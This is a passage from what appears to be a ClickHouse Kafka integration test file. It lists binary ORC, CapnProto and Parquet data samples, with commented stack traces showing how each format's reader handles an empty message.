b'\x4f\x52\x43\x11\x00\x00\x0a\x06\x12\x04\x08\x01\x50\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x30\x00\x00\xe3\x12\xe7\x62\x65\x00\x01\x21\x3e\x0e\x46\x25\x0e\x2e\x46\x03\x21\x46\x03\x09\xa6\x00\x06\x00\x32\x00\x00\xe3\x92\xe4\x62\x65\x00\x01\x21\x01\x0e\x46\x25\x2e\x2e\x26\x47\x5f\x21\x20\x96\x60\x09\x60\x00\x00\x36\x00\x00\xe3\x92\xe1\x62\x65\x00\x01\x21\x61\x0e\x46\x23\x5e\x2e\x46\x03\x21\x66\x03\x3d\x53\x29\x10\x11\xc0\x00\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\x05\x00\x00\xff\x00\x03\x00\x00\x30\x07\x00\x00\x40\x00\x80\x05\x00\x00\x41\x4d\x07\x00\x00\x42\x00\x80\x03\x00\x00\x0a\x07\x00\x00\x42\x00\x80\x05\x00\x00\xff\x01\x88\x00\x00\x4d\xca\xc1\x0a\x80\x30\x0c\x03\xd0\x2e\x6b\xcb\x98\x17\xf1\x14\x50\xfc\xff\xcf\xb4\x66\x1e\x3c\x84\x47\x9a\xce\x1c\xb9\x1b\xb7\xf9\xda\x48\x09\x9e\xb2\xf3\x92\xce\x5b\x86\xf6\x56\x7f\x21\x41\x2f\x51\xa6\x7a\xd7\x1d\xe5\xea\xae\x3d\xca\xd5\x83\x71\x60\xd8\x17\xfc\x62\x0f\xa8\x00\x00\xe3\x4a\xe6\x62\xe1\x60\x0c\x60\xe0\xe2\xe3\x60\x14\x62\xe3\x60\x10\x60\x90\x60\x08\x60\x88\x60\xe5\x12\xe0\x60\x54\xe2\xe0\x62\x34\x10\x62\x34\x90\x60\x02\x8a\x70\x71\x09\x01\x45\xb8\xb8\x98\x1c\x7d\x85\x80\x58\x82\x05\x28\xc6\xcd\x25\xca\xc1\x68\xc4\x0b\x52\xc5\x6c\xa0\x67\x2a\x05\x22\xc0\x4a\x21\x86\x31\x09\x30\x81\xb5\xb2\x02\x00\x36\x01\x00\x25\x8c\xbd\x0a\xc2\x30\x14\x85\x73\x6f\x92\xf6\x92\x6a\x09\x01\x21\x64\x92\x4e\x75\x91\x58\x71\xc9\x64\x27\x5d\x2c\x1d\x5d\xfd\x59\xc4\x42\x37\x5f\xc0\x17\xe8\x23\x9b\xc6\xe1\x3b\x70\x0f\xdf\xb9\xc4\xf5\x17\x5d\x41\x5c\x4f\x60\x37\xeb\x53\x0d\x55\x4d\x0b\x23\x01\xb9\x90\x2e\xbf\x0f\xe3\xe3\xdd\x8d\x0e\x5f\x4f\x27\x3e\xb7\x61\x97\xb2\x49\xb9\xaf\x90\x20\x92\x27\x32\x2a\x6b\xf4\xf3\x0d\x1e\x82\x20\xe8\x59\x28\x09\x4c\x46\x4c\x33\xcb\x7a\x76\x95\x41\x47\x9f\x14\x78\x03\xde\x62\x6c\x54\x30\xb1\x51\x0a\xdb\x8b\x89\x58\x11\xbb\x22\xac\x08\x9a\xe5\x6c\x71\xbf\x3d\xb8\x39\x92\xfa\x7f\x86\x1a\xd3\x54\x1e\xa7\xee\xcc\x7e\x08\x9e\x01\x10\x01\x18\x80\x80\x10\x22\x02\x00\x0c\x28\x57\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
b'\x4f\x52\x43\x11\x00\x00\x0a\x06\x12\x04\x08\x0f\x50\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x0f\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x30\x00\x00\xe3\x12\xe7\x62\x65\x00\x01\x21\x3e\x0e\x7e\x25\x0e\x2e\x46\x43\x21\x46\x4b\x09\xad\x00\x06\x00\x33\x00\x00\x0a\x17\x0a\x03\x00\x00\x00\x12\x10\x08\x0f\x22\x0a\x0a\x02\x41\x4d\x12\x02\x41\x4d\x18\x3c\x50\x00\x3a\x00\x00\xe3\x92\xe1\x62\x65\x00\x01\x21\x61\x0e\x7e\x23\x5e\x2e\x46\x03\x21\x66\x03\x3d\x53\x29\x66\x73\x3d\xd3\x00\x06\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x0f\x12\x06\x08\x02\x10\x02\x18\x1e\x50\x00\x05\x00\x00\x0c\x00\x2b\x00\x00\x31\x32\x33\x34\x35\x36\x37\x38\x39\x31\x30\x31\x31\x31\x32\x31\x33\x31\x34\x31\x35\x09\x00\x00\x06\x01\x03\x02\x09\x00\x00\xc0\x0e\x00\x00\x07\x00\x00\x42\x00\x80\x05\x00\x00\x41\x4d\x0a\x00\x00\xe3\xe2\x42\x01\x00\x09\x00\x00\xc0\x0e\x02\x00\x05\x00\x00\x0c\x01\x94\x00\x00\x2d\xca\xc1\x0e\x80\x30\x08\x03\xd0\xc1\x60\x2e\xf3\x62\x76\x6a\xe2\x0e\xfe\xff\x57\x5a\x3b\x0f\xe4\x51\xe8\x68\xbd\x5d\x05\xe7\xf8\x34\x40\x3a\x6e\x59\xb1\x64\xe0\x91\xa9\xbf\xb1\x97\xd2\x95\x9d\x1e\xca\x55\x3a\x6d\xb4\xd2\xdd\x0b\x74\x9a\x74\xf7\x12\x39\xbd\x97\x7f\x7c\x06\xbb\xa6\x8d\x97\x17\xb4\x00\x00\xe3\x4a\xe6\x62\xe1\xe0\x0f\x60\xe0\xe2\xe3\xe0\x17\x62\xe3\x60\x10\x60\x90\x60\x08\x60\x88\x60\xe5\x12\xe0\xe0\x57\xe2\xe0\x62\x34\x14\x62\xb4\x94\xd0\x02\x8a\xc8\x73\x09\x01\x45\xb8\xb8\x98\x1c\x7d\x85\x80\x58\xc2\x06\x28\x26\xc4\x25\xca\xc1\x6f\xc4\xcb\xc5\x68\x20\xc4\x6c\xa0\x67\x2a\xc5\x6c\xae\x67\x0a\x14\xe6\x87\x1a\xc6\x24\xc0\x24\x21\x07\x32\x0c\x00\x4a\x01\x00\xe3\x60\x16\x58\xc3\x24\xc5\xcd\xc1\x2c\x30\x89\x51\xc2\x4b\xc1\x57\x83\x5f\x49\x83\x83\x47\x88\x95\x91\x89\x99\x85\x55\x8a\x3d\x29\x27\x3f\x39\xdb\x2f\x5f\x8a\x29\x33\x45\x8a\xa5\x2c\x31\xc7\x10\x4c\x1a\x81\x49\x63\x25\x26\x0e\x46\x20\x66\x07\x63\x36\x0e\x3e\x0d\x26\x03\x10\x9f\xd1\x80\xdf\x8a\x85\x83\x3f\x80\xc1\x8a\x8f\x83\x5f\x88\x8d\x83\x41\x80\x41\x82\x21\x80\x21\x82\xd5\x4a\x80\x83\x5f\x89\x83\x8b\xd1\x50\x88\xd1\x52\x42\x0b\x28\x22\x6f\x25\x04\x14\xe1\xe2\x62\x72\xf4\x15\x02\x62\x09\x1b\xa0\x98\x90\x95\x28\x07\xbf\x11\x2f\x17\xa3\x81\x10\xb3\x81\x9e\xa9\x14\xb3\xb9\x9e\x29\x50\x98\x1f\x6a\x18\x93\x00\x93\x84\x1c\xc8\x30\x87\x09\x7e\x1e\x0c\x00\x08\xa8\x01\x10\x01\x18\x80\x80\x10\x22\x02\x00\x0c\x28\x5d\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
b'\x4f\x52\x43\x11\x00\x00\x0a\x06\x12\x04\x08\x01\x50\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x00\x10\x00\x18\x00\x50\x00\x30\x00\x00\xe3\x12\xe7\x62\x65\x00\x01\x21\x3e\x0e\x46\x25\x0e\x2e\x46\x03\x21\x46\x03\x09\xa6\x00\x06\x00\x32\x00\x00\xe3\x92\xe4\x62\x65\x00\x01\x21\x01\x0e\x46\x25\x2e\x2e\x26\x47\x5f\x21\x20\x96\x60\x09\x60\x00\x00\x36\x00\x00\xe3\x92\xe1\x62\x65\x00\x01\x21\x61\x0e\x46\x23\x5e\x2e\x46\x03\x21\x66\x03\x3d\x53\x29\x10\x11\xc0\x00\x00\x2b\x00\x00\x0a\x13\x0a\x03\x00\x00\x00\x12\x0c\x08\x01\x12\x06\x08\x02\x10\x02\x18\x02\x50\x00\x05\x00\x00\xff\x00\x03\x00\x00\x30\x07\x00\x00\x40\x00\x80\x05\x00\x00\x41\x4d\x07\x00\x00\x42\x00\x80\x03\x00\x00\x0a\x07\x00\x00\x42\x00\x80\x05\x00\x00\xff\x01\x88\x00\x00\x4d\xca\xc1\x0a\x80\x30\x0c\x03\xd0\x2e\x6b\xcb\x98\x17\xf1\x14\x50\xfc\xff\xcf\xb4\x66\x1e\x3c\x84\x47\x9a\xce\x1c\xb9\x1b\xb7\xf9\xda\x48\x09\x9e\xb2\xf3\x92\xce\x5b\x86\xf6\x56\x7f\x21\x41\x2f\x51\xa6\x7a\xd7\x1d\xe5\xea\xae\x3d\xca\xd5\x83\x71\x60\xd8\x17\xfc\x62\x0f\xa8\x00\x00\xe3\x4a\xe6\x62\xe1\x60\x0c\x60\xe0\xe2\xe3\x60\x14\x62\xe3\x60\x10\x60\x90\x60\x08\x60\x88\x60\xe5\x12\xe0\x60\x54\xe2\xe0\x62\x34\x10\x62\x34\x90\x60\x02\x8a\x70\x71\x09\x01\x45\xb8\xb8\x98\x1c\x7d\x85\x80\x58\x82\x05\x28\xc6\xcd\x25\xca\xc1\x68\xc4\x0b\x52\xc5\x6c\xa0\x67\x2a\x05\x22\xc0\x4a\x21\x86\x31\x09\x30\x81\xb5\xb2\x02\x00\x36\x01\x00\x25\x8c\xbd\x0a\xc2\x30\x14\x85\x73\x6f\x92\xf6\x92\x6a\x09\x01\x21\x64\x92\x4e\x75\x91\x58\x71\xc9\x64\x27\x5d\x2c\x1d\x5d\xfd\x59\xc4\x42\x37\x5f\xc0\x17\xe8\x23\x9b\xc6\xe1\x3b\x70\x0f\xdf\xb9\xc4\xf5\x17\x5d\x41\x5c\x4f\x60\x37\xeb\x53\x0d\x55\x4d\x0b\x23\x01\xb9\x90\x2e\xbf\x0f\xe3\xe3\xdd\x8d\x0e\x5f\x4f\x27\x3e\xb7\x61\x97\xb2\x49\xb9\xaf\x90\x20\x92\x27\x32\x2a\x6b\xf4\xf3\x0d\x1e\x82\x20\xe8\x59\x28\x09\x4c\x46\x4c\x33\xcb\x7a\x76\x95\x41\x47\x9f\x14\x78\x03\xde\x62\x6c\x54\x30\xb1\x51\x0a\xdb\x8b\x89\x58\x11\xbb\x22\xac\x08\x9a\xe5\x6c\x71\xbf\x3d\xb8\x39\x92\xfa\x7f\x86\x1a\xd3\x54\x1e\xa7\xee\xcc\x7e\x08\x9e\x01\x10\x01\x18\x80\x80\x10\x22\x02\x00\x0c\x28\x57\x30\x06\x82\xf4\x03\x03\x4f\x52\x43\x18',
# ''
# On empty message exception: IOError: File size too small, Stack trace (when copying this message, always include the lines below):
# /src/Processors/Formats/Impl/ORCBlockInputFormat.cpp:36: DB::ORCBlockInputFormat::generate() @ 0x1df282a6 in /usr/bin/clickhouse
# /src/Processors/ISource.cpp:48: DB::ISource::work() @ 0x1dd79737 in /usr/bin/clickhouse
],
},
'CapnProto': {
'data_sample': [
b'\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00',
b'\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00',
b'\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x3f\x01\x00\x00\x00\x1a\x00\x00\x00\x41\x4d\x00\x00\x00\x00\x00\x00',
# ''
# On empty message exception: Cannot read all data. Bytes read: 0. Bytes expected: 4.
# /src/IO/ReadBuffer.h:157: DB::ReadBuffer::readStrict(char*, unsigned long) @ 0x15c6894d in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/CapnProtoRowInputFormat.cpp:212: DB::CapnProtoRowInputFormat::readMessage() @ 0x1ded1cab in /usr/bin/clickhouse
# /src/Processors/Formats/Impl/CapnProtoRowInputFormat.cpp:241: DB::CapnProtoRowInputFormat::readRow(std::__1::vector<COW<DB::IColumn>::mutable_ptr<DB::IColumn>, std::__1::allocator<COW<DB::IColumn>::mutable_ptr<DB::IColumn> > >&, DB::RowReadExtension&) @ 0x1ded205d in /usr/bin/clickhouse
],
'extra_settings': ", kafka_schema='test:TestRecordStruct'"
},
'Parquet' : {
'data_sample': [
b'\x50\x41\x52\x31\x15\x04\x15\x10\x15\x14\x4c\x15\x02\x15\x04\x12\x00\x00\x08\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x08\x01\x02\x00\x26\xbc\x01\x1c\x15\x04\x19\x35\x04\x00\x06\x19\x18\x02\x69\x64\x15\x02\x16\x02\x16\xac\x01\x16\xb4\x01\x26\x38\x26\x08\x1c\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x00\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x03\x08\x01\x02\x00\x26\xc8\x03\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xfc\x02\x26\xd4\x02\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x15\x04\x15\x0c\x15\x10\x4c\x15\x02\x15\x04\x12\x00\x00\x06\x14\x02\x00\x00\x00\x41\x4d\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x03\x08\x01\x02\x00\x26\xa2\x05\x1c\x15\x0c\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x31\x15\x02\x16\x02\x16\x68\x16\x70\x26\xde\x04\x26\xb2\x04\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x00\x00\x00\x3f\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x03\x08\x01\x02\x00\x26\x8a\x07\x1c\x15\x08\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x32\x15\x02\x16\x02\x16\x84\x01\x16\x8c\x01\x26\xa6\x06\x26\xfe\x05\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x01\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x02\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x03\x08\x01\x02\x00\x26\xfe\x08\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x33\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xb2\x08\x26\x8a\x08\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x15\x02\x19\x6c\x35\x00\x18\x06\x73\x63\x68\x65\x6d\x61\x15\x0a\x00\x15\x04\x25\x00\x18\x02\x69\x64\x00\x15\x02\x25\x00\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x25\x18\x4c\xac\x13\x10\x12\x00\x00\x00\x15\x0c\x25\x00\x18\x04\x76\x61\x6c\x31\x25\x00\x4c\x1c\x00\x00\x00\x15\x08\x25\x00\x18\x04\x76\x61\x6c\x32\x00\x15\x02\x25\x00\x18\x04\x76\x61\x6c\x33\x25\x16\x4c\xac\x13\x08\x12\x00\x00\x00\x16\x02\x19\x1c\x19\x5c\x26\xbc\x01\x1c\x15\x04\x19\x35\x04\x00\x06\x19\x18\x02\x69\x64\x15\x02\x16\x02\x16\xac\x01\x16\xb4\x01\x26\x38\x26\x08\x1c\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x00\x00\x00\x00\x00\x00\x00\x00\x18\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\xc8\x03\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xfc\x02\x26\xd4\x02\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x26\xa2\x05\x1c\x15\x0c\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x31\x15\x02\x16\x02\x16\x68\x16\x70\x26\xde\x04\x26\xb2\x04\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x26\x8a\x07\x1c\x15\x08\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x32\x15\x02\x16\x02\x16\x84\x01\x16\x8c\x01\x26\xa6\x06\x26\xfe\x05\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x26\xfe\x08\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x33\x15\x02\x16\x02\x16\x6c\x16\x74\x26\xb2\x08\x26\x8a\x08\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x16\x98\x05\x16\x02\x00\x28\x22\x70\x61\x72\x71\x75\x65\x74\x2d\x63\x70\x70\x20\x76\x65\x72\x73\x69\x6f\x6e\x20\x31\x2e\x35\x2e\x31\x2d\x53\x4e\x41\x50\x53\x48\x4f\x54\x19\x5c\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x1c\x00\x00\x00\xc4\x01\x00\x00\x50\x41\x52\x31',
b'\x50\x41\x52\x31\x15\x04\x15\xf0\x01\x15\x90\x01\x4c\x15\x1e\x15\x04\x12\x00\x00\x78\x04\x01\x00\x09\x01\x00\x02\x09\x07\x04\x00\x03\x0d\x08\x00\x04\x0d\x08\x00\x05\x0d\x08\x00\x06\x0d\x08\x00\x07\x0d\x08\x00\x08\x0d\x08\x00\x09\x0d\x08\x00\x0a\x0d\x08\x00\x0b\x0d\x08\x00\x0c\x0d\x08\x00\x0d\x0d\x08\x3c\x0e\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x15\x00\x15\x14\x15\x18\x2c\x15\x1e\x15\x04\x15\x06\x15\x06\x1c\x18\x08\x0f\x00\x00\x00\x00\x00\x00\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x0f\x00\x00\x00\x00\x00\x00\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x24\x04\x05\x10\x32\x54\x76\x98\xba\xdc\x0e\x26\xca\x02\x1c\x15\x04\x19\x35\x04\x00\x06\x19\x18\x02\x69\x64\x15\x02\x16\x1e\x16\x9e\x03\x16\xc2\x02\x26\xb8\x01\x26\x08\x1c\x18\x08\x0f\x00\x00\x00\x00\x00\x00\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x0f\x00\x00\x00\x00\x00\x00\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x00\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x1e\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x03\x08\x01\x1e\x00\x26\xd8\x04\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x15\x02\x16\x1e\x16\x6c\x16\x74\x26\x8c\x04\x26\xe4\x03\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\x00\x00\x00\x15\x04\x15\x0c\x15\x10\x4c\x15\x02\x15\x04\x12\x00\x00\x06\x14\x02\x00\x00\x00\x41\x4d\x15\x00\x15\x06\x15\x0a\x2c\x15\x1e\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x03\x08\x01\x1e\x00\x26\xb2\x06\x1c\x15\x0c\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x31\x15\x02\x16\x1e\x16\x68\x16\x70\x26\xee\x05\x26\xc2\x05\x1c\x36\x00\x28\x02\x41\x4d\x18\x02\x41\x4d\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x00\x00\x00\x3f\x15\x00\x15\x06\x15\x0a\x2c\x15\x1e\x15\x04\x15\x06\x15\x06\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x03\x08\x01\x1e\x00\x26\x9a\x08\x1c\x15\x08\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x32\x15\x02\x16\x1e\x16\x84\x01\x16\x8c\x01\x26\xb6\x07\x26\x8e\x07\x1c\x18\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x16\x00\x28\x04\x00\x00\x00\x3f\x18\x04\x00\x00\x00\x3f\x00\x00\x00\x15\x04\x15\x08\x15\x0c\x4c\x15\x02\x15\x04\x12\x00\x00\x04\x0c\x01\x00\x00\x00\x15\x00\x15\x06\x15\x0a\x2c\x15\x1e\x15\x04\x15\x06\x15\x06\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x03\x08\x01\x1e\x00\x26\x8e\x0a\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x04\x76\x61\x6c\x33\x15\x02\x16\x1e\x16\x6c\x16\x74\x26\xc2\x09\x26\x9a\x09\x1c\x36\x00\x28\x04\x01\x00\x00\x00\x18\x04\x01\x00\x00\x00\x00\x00\x00\x15\x02\x19\x6c\x35\x00\x18\x06\x73\x63\x68\x65\x6d\x61\x15\x0a\x00\x15\x04\x25\x00\x18\x02\x69\x64\x00\x15\x02\x25\x00\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x25\x18\x4c\xac\x13\x10\x12\x00\x00\x00\x15\x0c\x25\x00\x18\x04\x76\x61\x6c\x31\x25\x00\x4c\x1c\x00\x00\x00\x15\x08\x25\x00\x18\x04\x76\x61\x6c\x32\x00\x15\x02\x25\x00\x18\x04\x76\x61\x6c\x33\x25\x16\x4c\xac\x13\x08\x12\x00\x00\x00\x16\x1e\x19\x1c\x19\x5c\x26\xca\x02\x1c\x15\x04\x19\x35\x04\x00\x06\x19\x18\x02\x69\x64\x15\x02\x16\x1e\x16\x9e\x03\x16\xc2\x02\x26\xb8\x01\x26\x08\x1c\x18\x08\x0f\x00\x00\x00\x00\x00\x00\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x00\x16\x00\x28\x08\x0f\x00\x00\x00\x00\x00\x00\x00\x18\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\xd8\x04\x1c\x15\x02\x19\x35\x04\x00\x06\x19\x18\x07\x62\x6c\x6f\x63\x6b\x4e\x6f\x15\x02\x16\x1e\x16\x6c\x16\x74\x26\x8c\x04\x26\xe4\x03\x1c\x36\x00\x28\x04\x00\x00\x00\x00\x18\x04\x00\x00\x00\x00\